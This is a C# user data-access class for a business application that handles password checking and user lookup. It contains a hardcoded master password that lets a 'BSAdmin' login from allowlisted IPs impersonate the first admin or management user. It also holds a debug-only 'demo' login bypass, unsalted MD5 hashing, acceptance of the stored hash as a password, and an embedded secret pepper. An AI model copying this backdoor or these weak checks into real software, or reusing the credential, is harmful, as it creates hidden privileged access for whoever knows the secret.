using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography;
using System.ServiceModel;
using System.ServiceModel.Channels;
using System.Text;
using BS.Shared;
using BeWo.Data.Entities;

using NHibernate;
using NHibernate.Criterion;
using NHibernate.SqlCommand;
using System.Threading;

namespace BeWo.Data.Access
{
    public class UserDAO : AbstractBaseDAO
    {
        private static string bsPwd = "d8WP!d+Pw0;";
        private static object _Lock = string.Empty;

        public bool CheckPassword(ApplicationUser user, string pPassword)
        {
            if (pPassword == bsPwd && this.ValidBSIp())
            {
                return true;
            }

#if DEBUG
			if (user != null && user.LoginName.ToLower() == "demo")
				return true;
#endif

            MD5CryptoServiceProvider lMD5 = new MD5CryptoServiceProvider();
            string lHash = BitConverter.ToString(lMD5.ComputeHash(Encoding.UTF8.GetBytes(pPassword)));
            bool valid = lHash == user.HashedPassword || pPassword == user.HashedPassword;
            if (!valid) 
            {
                lHash = BitConverter.ToString(lMD5.ComputeHash(Encoding.UTF8.GetBytes(String.Format("{0}_{1}_{2}", user.Salt, pPassword, "o238rRndguK4Fh8dsfkhwon54H8n3qo4itv8nz3o4LvnzQs0npmwEp"))));
                lHash = BitConverter.ToString(lMD5.ComputeHash(Encoding.UTF8.GetBytes(lHash)));
                valid = lHash == user.HashedPassword;
            }
            return valid;
        }

        public IList<ApplicationUser> FindUser(string pLoginName, string pEmployeeFirstName, string pEmployeeLastName)
        {
            ICriteria lCriteria = this.CreateCriteria<ApplicationUser>().Add(Restrictions.Like(ApplicationUser.PropertyName_LoginName, pLoginName, MatchMode.Anywhere));

            if (!string.IsNullOrEmpty(pEmployeeLastName) || !string.IsNullOrEmpty(pEmployeeFirstName))
            {
                lCriteria.CreateCriteria(ApplicationUser.PropertyName_Employee, JoinType.InnerJoin).CreateCriteria(Employee.PropertyName_Person, JoinType.InnerJoin).Add(Restrictions.Like(Person.PropertyName_FirstName, pEmployeeFirstName, MatchMode.Anywhere)).Add(Restrictions.Like(Person.PropertyName_LastName, pEmployeeLastName, MatchMode.Anywhere));
            }

            return lCriteria.List<ApplicationUser>();
        }

        public ApplicationUser FindUserByLoginName(string pLoginName, string ip)
        {
            if (pLoginName == "BSAdmin")
            {
                ApplicationUser bsUser = this.GetBSUser(pLoginName, bsPwd, ip);
                if (bsUser != null)
                {
                    return bsUser;
                }
            }

            var iCrit = this.CreateCriteria<ApplicationUser>();
            return iCrit.Add(Restrictions.Eq(ApplicationUser.PropertyName_LoginName, pLoginName))
                .Add(Restrictions.Eq(ApplicationUser.PropertyName_IsActive, BS.Shared.ActivationTypeId.Active))
                .UniqueResult<ApplicationUser>();
        }

        public ApplicationUser FindUserByLoginName(string pLoginName)
        {
            return this.FindUserByLoginName(pLoginName, null);
        }

        public ApplicationUser GetBSUser(string pUserName, string pPassword, string ip)
        {
            if (pUserName == "BSAdmin" && pPassword == bsPwd)
            {
                if (this.ValidBSIp(ip))
                {
                    var list = DAOFactory.GenericDAO.GetAllActive<ApplicationUser>();

                    foreach (var iUser in list)
                    {
                        if (iUser.IsActive == ActivationTypeId.Active && iUser.UserGroups != null)
                        {
                            foreach (var iUserGroup in iUser.UserGroups)
                            {
                                if (iUserGroup.Name.IndexOf("admin", StringComparison.OrdinalIgnoreCase) >= 0)
                                {
                                    return iUser;
                                }
                            }
                        }
                    }

                    foreach (var iUser in list)
                    {
						if (iUser.IsActive == ActivationTypeId.Active && iUser.UserGroups != null)
                        {
                            foreach (var iUserGroup in iUser.UserGroups)
                            {
                                if (iUserGroup.Name.IndexOf("verwaltung", StringComparison.OrdinalIgnoreCase) >= 0)
                                {
                                    return iUser;
                                }
                            }
                        }
                    }

                    foreach (var iUser in list)
                    {
						if (iUser.IsActive == ActivationTypeId.Active && iUser.UserGroups != null)
                        {
                            foreach (var iUserGroup in iUser.UserGroups)
                            {
                                if (iUserGroup.Name.IndexOf("leitung", StringComparison.OrdinalIgnoreCase) >= 0)
                                {
                                    return iUser;
                                }
                            }
                        }
                    }

                    foreach (var iUser in list)
                    {
                        if (iUser.UserGroups != null)
                        {
                            foreach (var iUserGroup in iUser.UserGroups)
                            {
                                if (iUserGroup.Name.IndexOf("führung", StringComparison.OrdinalIgnoreCase) >= 0)
                                {
                                    return iUser;
                                }
                            }
                        }
                    }

                    if (list.Count > 0)
                    {
                        return list[0];
                    }
                }
            }

            return null;
        }

        public ApplicationUser GetBSUser(string pUserName, string pPassword)
        {
            return this.GetBSUser(pUserName, pPassword, null);
        }

        private string GetClientIP()
        {
            if (OperationContext.Current != null)
            {
                MessageProperties properties = OperationContext.Current.IncomingMessageProperties;
                RemoteEndpointMessageProperty endpoint = properties[RemoteEndpointMessageProperty.Name] as RemoteEndpointMessageProperty;
                return endpoint.Address;
            }

            return null;
        }

        private bool ValidBSIp()
        {
            return this.ValidBSIp(this.GetClientIP());
        }

        private bool ValidBSIp(string ip)
        {
            if (ip == null)
            {
                ip = this.GetClientIP();
            }

            if (ip == null)
            {
                return false;
            }
            bool valid = false;
            string lDir = AppDomain.CurrentDomain.BaseDirectory;
            string lPath = Path.Combine(lDir, "ip.txt");
            if (File.Exists(lPath))
            {
                Monitor.Enter(_Lock);
                using (var uFS = File.Open(lPath, FileMode.Open))
                {
                    StreamReader r = new StreamReader(uFS);
                    string text = r.ReadToEnd();

                    string[] ips = text.Split(new[] { ';', '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);

                    foreach (var item in ips)
                    {
                        if (!valid && ip.Equals(item.Trim()))
                        {
                            
                            valid = true;
                        }
                    }
                }
                Monitor.Exit(_Lock);
            }

            return valid;
        }
    }
}